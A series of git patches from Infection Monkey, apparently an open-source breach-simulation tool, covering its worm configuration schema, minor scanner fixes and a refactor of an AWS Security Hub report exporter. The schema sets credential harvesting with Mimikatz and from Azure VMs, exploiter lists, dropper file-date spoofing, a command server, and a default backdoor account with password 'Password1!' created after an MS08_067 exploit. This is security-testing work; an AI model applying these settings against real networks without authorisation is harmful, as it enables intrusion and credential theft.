"object", + "properties": { + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" + }, + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + }, + "should_use_mimikatz": { + "title": "Should use Mimikatz", + "type": "boolean", + "default": True, + "description": "Determines whether to use Mimikatz" + }, + } + }, + "life_cycle": { + "title": "Life cycle", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "description": "Determines how many iterations of the monkey's full lifecycle should occur" + }, + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 30, + "description": "Determines the maximum number of machines the monkey is allowed to scan" + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 7, + "description": + "Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating to " + "a high number of machines" + }, + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "description": + "Determines for how long (in seconds) should the monkey wait between iterations" + }, + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": + "Determines whether the monkey should retry exploiting machines" + " it didn't successfuly exploit on previous iterations" + } + } + } + } + }, + "internal": { + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": + "The name of the mutex used to determine whether the monkey is already running" + }, + "keep_tunnel_open_time": { + "title": "Keep tunnel open time", + "type": "integer", + "default": 60, + "description": "Time to keep tunnel open before going down after last exploit (in seconds)" + } + } + }, + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "scanner_class": { + "title": "Scanner class", + "type": "string", + "default": "TcpScanner", + "enum": [ + "TcpScanner" + ], + "enumNames": [ + "TcpScanner" + ], + "description": "Determines class to scan for machines. (Shouldn't be changed)" + }, + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/finger_classes" + }, + "default": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ], + "description": "Determines which classes to use for fingerprinting" + } + } + }, + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "%windir%\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)" + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)" + } + } + }, + "dropper": { + "title": "Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should set the monkey's file date to be the same as" + " another file" + }, + "dropper_date_reference_path_windows": { + "title": "Dropper date reference path (Windows)", + "type": "string", + "default": "%windir%\\system32\\kernel32.dll", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Windows (use fullpath)" + }, + "dropper_date_reference_path_linux": { + "title": "Dropper date reference path (Linux)", + "type": "string", + "default": "/bin/sh", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Linux (use fullpath)" + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a Linux machine" + }, + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", + "type": "string", + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should try to move itsel instead of copying itself" + " to target path" + } + } + }, + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux" + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "%temp%\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows" + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux" + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default": "%temp%\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows" + }, + "send_log_to_server": { + "title": "Send log to server", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey sends its log to the Monkey Island server" + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "exploit_lm_hash_list": { + "title": "Exploit LM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of LM hashes to use on exploits using credentials" + }, + "exploit_ntlm_hash_list": { + "title": "Exploit NTLM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "items": { + "type": "string" + }, + "description": "List of SSH key pairs to use, when trying to ssh into servers" + } + } + } + } + }, + "cnc": { + "title": "Monkey Island", + "type": "object", + "properties": { + "servers": { + "title": "Servers", + "type": "object", + "properties": { + "command_servers": { + "title": "Command servers", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "192.0.2.0:5000" + ], + "description": "List of command servers to try and communicate with (format is :)" + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "monkey.guardicore.com", + "www.google.com" + ], + "description": + "List of internet services to try and communicate with to determine internet" + " connectivity (use either ip or domain)" + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "192.0.2.0:5000", + "description": "The current command server the monkey is communicating with" + } + } + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "exploiter_classes": { + "title": "Exploits", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter" + ], + "description": + "Determines which exploits to use. " + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited machine/service" + }, + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": False, + "description": "Determines whether the monkey should skip the exploit if the monkey's file" + " is already on the remote machine" + } + } + }, + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067" + }, + "ms08_067_remote_user_add": { + "title": "MS08_067 remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit" + }, + "ms08_067_remote_user_pass": { + "title": "MS08_067 remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user" + } + } + }, + "rdp_grinder": { + "title": "RDP grinder", + "type": "object", + "properties": { + "rdp_use_vbs_download": { + "title": "Use VBS download", + "type": "boolean", + "default": True, + "description": "Determines whether to use VBS or BITS to download monkey to remote machine" + " (true=VBS, false=BITS)" + } + } + }, + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger" + }, + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + '/', + '/mnt', + '/tmp', + '/storage', + '/export', + '/share', + '/shares', + '/home' + ], + "description": "List of full paths to share folder for SambaCry to guess" + }, + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "IPC$", "print$" + ], + "description": "These shares won't be checked when exploiting with SambaCry" + } + } + }, + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": + "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + }, + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download monkey" + } + } + } + } + }, + "network": { + "title": "Network", + "type": "object", + "properties": { + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "description": "List of ports the monkey will check if are being used for HTTP" + }, + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 200, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" + } + } + } + } + } + }, + "options": { + "collapsed": True + } +} \ No newline at end of file From b536083573b4206c2029dac3f7b41cc9ce1518b5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:08:09 +0200 Subject: [PATCH 077/201] Remove debug print on what users/passwords to try --- monkey/infection_monkey/monkey.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index efdb43a3c..30eb57f1c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -120,9 +120,6 @@ class InfectionMonkey(object): ControlClient.keepalive() ControlClient.load_control_config() - LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) - LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) - self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes From 3ca5119e03175dfc9383b9e7c963371674ca2a3b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:25:47 +0200 Subject: [PATCH 078/201] Remove debug print on what users/passwords to try --- monkey/infection_monkey/network/network_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..8fd8c2b65 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -106,8 +106,8 @@ class NetworkScanner(object): break - if SCAN_DELAY: - time.sleep(SCAN_DELAY) + if WormConfiguration.tcp_scan_interval: + time.sleep(WormConfiguration.tcp_scan_interval) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 43896ed7183090bf808af4bc9d78bdfba89f886c Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 31 Dec 2018 12:27:57 +0200 Subject: [PATCH 079/201] Set default scan interval to 0 --- monkey/infection_monkey/config.py | 2 +- monkey/infection_monkey/example.conf | 2 +- monkey/monkey_island/cc/services/config_schema.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..28c9c249f 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -193,7 +193,7 @@ class Configuration(object): 9200] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 200 + tcp_scan_interval = 0 tcp_scan_get_banner = True # Ping Scanner diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..e81029b79 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -79,7 +79,7 @@ "sambacry_shares_not_to_check": ["IPC$", "print$"], "local_network_scan": false, "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, + "tcp_scan_interval": 0, "tcp_scan_timeout": 10000, "tcp_target_ports": [ 22, diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..8704cbf19 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -817,7 +817,7 @@ SCHEMA = { "tcp_scan_interval": { "title": "TCP scan interval", "type": "integer", - "default": 200, + "default": 0, "description": "Time to sleep (in milliseconds) between scans" }, "tcp_scan_timeout": { From 7f3ee6952758e4a95ea3c42a36f46e3a062b726e Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 31 Dec 2018 14:51:07 +0200 Subject: [PATCH 080/201] - Created the exporter_init file, in there the exporter manager singleton is created and populated with the relevant exporters (the aws exporter in this case) - changed the report file to use the new exporter manager singleton - changed the finding structure in the aws_exporter.py, divided it to creation functions and cleaned the code. --- monkey/monkey_island/cc/exporter_init.py | 17 + monkey/monkey_island/cc/main.py | 3 + .../cc/report_exporter_manager.py | 32 + .../cc/resources/aws_exporter.py | 613 ++++++------------ monkey/monkey_island/cc/services/report.py | 9 +- .../monkey_island/report_exporter_manager.py | 40 -- 6 files changed, 261 insertions(+), 453 deletions(-) create mode 100644 monkey/monkey_island/cc/exporter_init.py create mode 100644 monkey/monkey_island/cc/report_exporter_manager.py delete mode 100644 monkey/monkey_island/report_exporter_manager.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/exporter_init.py new file mode 100644 index 000000000..c2285772e --- /dev/null +++ b/monkey/monkey_island/cc/exporter_init.py @@ -0,0 +1,17 @@ +from cc.environment.environment import load_env_from_file, AWS +from cc.report_exporter_manager import ReportExporterManager +from cc.resources.aws_exporter import AWSExporter + + +def populate_exporter_list(): + + manager = ReportExporterManager() + if is_aws_exporter_required(): + manager.add_exporter_to_list(AWSExporter) + + +def is_aws_exporter_required(): + if str(load_env_from_file()) == AWS: + return True + else: + return False diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 86015b5d4..a6ded6628 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -34,6 +34,8 @@ def main(): logger.info('Waiting for MongoDB server') time.sleep(1) + + app = init_app(mongo_url) if env.is_debug(): app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) @@ -44,6 +46,7 @@ def main(): http_server.listen(env.get_island_port()) logger.info( 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + IOLoop.instance().start() diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/report_exporter_manager.py new file mode 100644 index 000000000..210f28966 --- /dev/null +++ b/monkey/monkey_island/cc/report_exporter_manager.py @@ -0,0 +1,32 @@ +import logging + +logger = logging.getLogger(__name__) + + +class Singleton(type): + _instances = {} + + def __call__(cls, *args, **kwargs): + if cls not in cls._instances: + cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) + return cls._instances[cls] + + +class ReportExporterManager(object): + __metaclass__ = Singleton + + def __init__(self): + self._exporters_set = set() + + def get_exporters_list(self): + return self._exporters_set + + def add_exporter_to_list(self, exporter): + self._exporters_set.add(exporter) + + def export(self, report): + try: + for exporter in self._exporters_set: + exporter().handle_report(report) + except Exception as e: + logger.exception('Failed to export report') diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 735de6584..8890342dd 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -87,6 +87,7 @@ class AWSExporter(Exporter): "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": account_id, + "RecordState": "ACTIVE", "Types": [ "Software and Configuration Checks/Vulnerabilities/CVE" ], @@ -120,488 +121,288 @@ class AWSExporter(Exporter): return False @staticmethod - def _handle_tunnel_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines were able to communicate over unused ports.", - "Description": "Use micro-segmentation policies to disable communication other than the required.", - "Remediation": { - "Recommendation": { - "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ + def _get_finding_resource(instance_id, instance_arn): + if instance_id: + return [{ "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) + "Id": instance_arn.format(instance_id=instance_id) }] else: - finding["Resources"] = [{'Type': 'Other'}] + return [{'Type': 'Other'}] + + @staticmethod + def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): + finding = { + "Severity": { + "Product": severity, + "Normalized": 100 + }, + 'Resource': AWSExporter._get_finding_resource(instance_id, instance_arn), + "Title": title, + "Description": description, + "Remediation": { + "Recommendation": { + "Text": recommendation + } + }} return finding + @staticmethod + def _handle_tunnel_issue(issue, instance_arn): + + return AWSExporter._build_generic_finding( + severity=5, + title="Weak segmentation - Machines were able to communicate over unused ports.", + description="Use micro-segmentation policies to disable communication other than the required.", + recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) + @staticmethod def _handle_sambacry_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", - "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ - .format(issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Samba servers are vulnerable to 'SambaCry'", + description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ + .format(issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_pth_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 5, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=5, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_ssh_key_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - "Description": "Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), - "Remediation": { - "Recommendation": { - "Text": "The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", + description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( + machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_elastic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Elasticsearch servers are vulnerable to CVE-2015-1427", - "Description": "Update your Elastic Search server to version 1.4.3 and up.", "Remediation": { - "Recommendation": { - "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Elastic Search servers are vulnerable to CVE-2015-1427", + description="Update your Elastic Search server to version 1.4.3 and up.", + recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue['machine'], issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Weak segmentation - Machines from different segments are able to communicate.", - "Description": "Segment your network and make sure there is no communication between machines from different segments.", - "Remediation": { - "Recommendation": { - "Text": "The network can probably be segmented. A monkey instance on \ + + return AWSExporter._build_generic_finding( + severity=1, + title="Weak segmentation - Machines from different segments are able to communicate.", + description="Segment your network and make sure there is no communication between machines from different segments.", + recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], issue['networks'], - issue['server_networks']) - } - }} - - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + issue['server_networks']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password", - "Description": "Some users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password", + description="Some users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {0}.".format(issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shellshock_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Machines are vulnerable to 'Shellshock'", - "Description": "Update your Bash to a ShellShock-patched version.", "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Machines are vulnerable to 'Shellshock'", + description="Update your Bash to a ShellShock-patched version.", + recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( + issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_smb_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( - issue['machine'], issue['ip_address'], issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format( + issue['machine'], issue['ip_address'], issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_wmi_password_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", - "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: 